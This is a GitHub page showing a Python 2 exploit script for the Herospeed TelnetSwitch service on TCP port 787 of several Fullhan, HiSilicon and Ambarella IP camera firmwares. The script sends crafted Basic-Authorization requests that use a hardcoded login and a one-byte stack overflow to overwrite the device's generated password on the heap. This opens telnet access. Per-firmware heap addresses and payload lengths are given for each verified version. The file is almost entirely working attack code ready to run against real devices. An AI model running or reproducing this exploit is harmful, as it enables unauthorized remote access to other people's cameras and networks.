-
Notifications
You must be signed in to change notification settings - Fork 302
/
Herospeed-TelnetSwitch.py
182 lines (154 loc) · 5.07 KB
/
Herospeed-TelnetSwitch.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#!/usr/bin/env python2.7
#
# Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
# Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
#
# [Verified]
# 1) Fullhan IPC FH8830_F22_W_7.1.42.1
# 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
# 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
# 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
#
# Author: bashis <mcw noemail eu>, 2018
#
import socket
import select
import sys
import argparse
import base64
import struct
import time
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
def __init__(self,verbose):
self.verbose = verbose
# Check if IP is valid
def CheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')
if len(ip) != 4:
return False
for tmp in ip:
if not tmp.isdigit():
return False
i = int(tmp)
if i < 0 or i > 255:
return False
return True
# Check if PORT is valid
def Port(self,PORT):
self.PORT = PORT
if int(self.PORT) < 1 or int(self.PORT) > 65535:
return False
else:
return True
# Check if HOST is valid
def Host(self,HOST):
self.HOST = HOST
try:
# Check valid IP
socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
# Now we check if it is correct typed IP
if self.CheckIP(self.HOST):
return self.HOST
else:
return False
except socket.error as e:
# Else check valid DNS name, and use the IP address
try:
self.HOST = socket.gethostbyname(self.HOST)
return self.HOST
except socket.error as e:
return False
if __name__ == "__main__":
INFO = '\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
rhost = '192.168.57.20' # Default Remote HOST
rport = 787 # Default Remote PORT
BUFFER_SIZE = 1024
try:
arg_parser = argparse.ArgumentParser(
prog=sys.argv[0],
description=('[*] '+ INFO +' [*]'))
arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
args = arg_parser.parse_args()
except Exception as e:
print INFO,"\nError: {}\n".format(str(e))
sys.exit(1)
print INFO
if args.rport:
rport = int(args.rport)
if args.rhost:
rhost = args.rhost
IP = args.rhost
# Check if RPORT is valid
if not Validate(True).Port(rport):
print "[!] Invalid RPORT - Choose between 1 and 65535"
sys.exit(1)
# Check if RHOST is valid IP or FQDN, get IP back
rhost = Validate(True).Host(rhost)
if not rhost:
print "[!] Invalid RHOST"
sys.exit(1)
timeout = 5
socket.setdefaulttimeout(timeout)
#
# [Payload]
#
LOGIN = "Lucky787" # Hardcoded login
#
# Fullhan IPC FH8830_F22_W_7.1.42.1
# Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
#
PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n" # Our new password, must be exactly 12 char, and must be '\n'
MESSAGE = ''+ LOGIN + ':' + PASSWD +''
BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap
#
# HiSilicon 3518EV200_OV9732_W_7.1.25.1
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap
#
# HiSilicon 3519V100_IMX274_W_7.1.39.3
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap
#
# Ambarella s2l55m_imx123_W_7.1.25.2
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap
#
# Ambarella S2E66_IMX178_W_7.1.3.4
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap
MESSAGE = base64.b64encode(bytes(MESSAGE))
MESSAGE += BASE64_NULL
#
# Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
#
for where in range(0, len(PASSWD)):
OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
print "Writing to: {}".format(hex(HEAP_PWD))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.send(OUT)
time.sleep(0.5)
response = s.recv(BUFFER_SIZE).split()
HEAP_PWD += 0x1 # Next address on heap
if response[1]:
if response[1] == "200":
print "({}) OK, telnetd should be open!".format(response[1])
break